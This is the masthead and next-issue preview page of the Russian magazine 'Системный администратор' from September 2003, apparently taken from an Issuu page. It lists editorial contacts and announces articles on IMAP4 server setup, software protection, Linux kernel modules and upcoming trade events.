СИСТЕМНЫЙ АДМИНИСТРАТОР №9(10), Сентябрь, 2003 год РЕДАКЦИЯ Исполнительный директор Владимир Положевец Ответственный секретарь Наталья Хвостова sekretar@samag.ru Технический редактор Владимир Лукин РЕКЛАМНАЯ СЛУЖБА тел.: (095) 928-8253 (доб. 112) факс: (095) 928-8253 Константин Меделян reсlama@samag.ru Верстка и оформление imposer@samag.ru maker_up@samag.ru Дизайн обложки Николай Петрочук 103012, г. Москва, Ветошный переулок, дом 13/15 тел.: (095) 928-8253 (доб. 112) факс: (095) 928-8253 Е-mail: info@samag.ru Internet: www.samag.ru РУКОВОДИТЕЛЬ ПРОЕКТА Петр Положевец УЧРЕДИТЕЛИ Владимир Положевец Александр Михалев ИЗДАТЕЛЬ ЗАО «Издательский дом «Учительская газета» Отпечатано типографией ООО «Мастер Печати» Тираж 5500 экз. Журнал зарегистрирован в Министерстве РФ по делам печати, телерадиовещания и средств массовых коммуникаций (свидетельство ПИ № 77-12542 от 24 апреля 2002г.) За содержание статьи ответственность несет автор. За содержание рекламного обьявления ответственность несет рекламодатель. Все права на опубликованные материалы защищены. Редакция оставляет за собой право изменять содержание следующих номеров.

96

ЧИТАЙТЕ В СЛЕДУЮЩЕМ НОМЕРЕ: Установка IMAP4-сервера на базе cyrus-imapd + sendmail Традиционный протокол POP3, используемый клиентскими программами для получения почты с сервера, обладает рядом недостатков – во-первых, в рамках почтовой сессии пароль передается в открытом виде (plain text) и злоумышленник может легко его перехватить. Во-вторых, если пользователь забирает почту с разных мест, ему везде придется настраивать фильтры для сортировки в почтовом клиенте и скачивать заново всю почту с сервера. В-третьих, если вы заведомо знаете, что вам нужно удалить какое-то сообщение прямо на сервере, предварительно его придется загрузить к себе на машину. Альтернативой POP3 может служить IMAP (Internet Message Access Protocol), который и призван избавить пользователя от вышеупомянутых проблем.

Анализ защиты программ и рекомендации по её усилению Для того чтобы защитить программы от взлома, необходимо знать, против чего мы боремся. Будем считать, что мы являемся разработчиками программного обеспечения и нам противостоит взломщик среднего уровня.

Свой собственный модуль В этой статье мы рассмотрим основные операции с модулями ядра Linux, а также создание собственного модуля, позволяющего расширить возможности ядра операционной системы. В Linux драйверы выполнены в виде модулей ядра. Ядро Linux содержит только самый необходимый код – чтобы только загрузиться. Поддержку остальных устройств обеспечивают модули, которые встраиваются в ядро при загрузке системы. С помощью пакета modutils, который будет рассмотрен ниже, вы можете добавить нужный вам модуль в ядро во время работы системы. При этом перезагружать систему не нужно – устройство начнет работать сразу же после загрузки модуля. Раньше, в первых версиях ядра Linux, механизм работы с модулями не был предусмотрен, и ядра тех времен содержали в себе код драйверов для всех поддерживаемых устройств. Такое решение нельзя назвать рациональным. Мы не можем предусмотреть, какие устройства будут установлены у конечного пользователя, даже если включить в состав ядра драйверы всех возможных устройств. Исходя из всего этого, разработчики ядра Linux «изобрели» механизм динамически загружаемых модулей.

Мы участвуем! На стыке сентября и октября наш журнал примет участие сразу в двух значительных мероприятиях: 14-й ежегодной выставке информационных технологий SofTool (30.09.2003 – 04.10.2003) и конференции АДЭ (ассоциация документальной электросвязи). На SofTool все желающие могут найти нас на стенде №Е38, чтобы пообщаться с представителями журнала, задать интересующие вопросы, купить старые и новые номера и договориться о деловом сотрудничестве. В Конференции АДЭ (30.09.2003 – 02.10.2003) примут участие специалисты и руководители крупных фирм и организаций. Сама конференция будет проходить в Подмосковье, в отеле Виноградово, и благодаря насыщенности программы ожидается крайне плодотворной. Рекламные материалы данных мероприятий вы сможете найти на страницах нашего журнала.


Turn static files into dynamic content formats.

Create a flipbook
Issuu converts static files into: digital portfolios, online yearbooks, online catalogs, digital photo albums and more. Sign up and create your flipbook.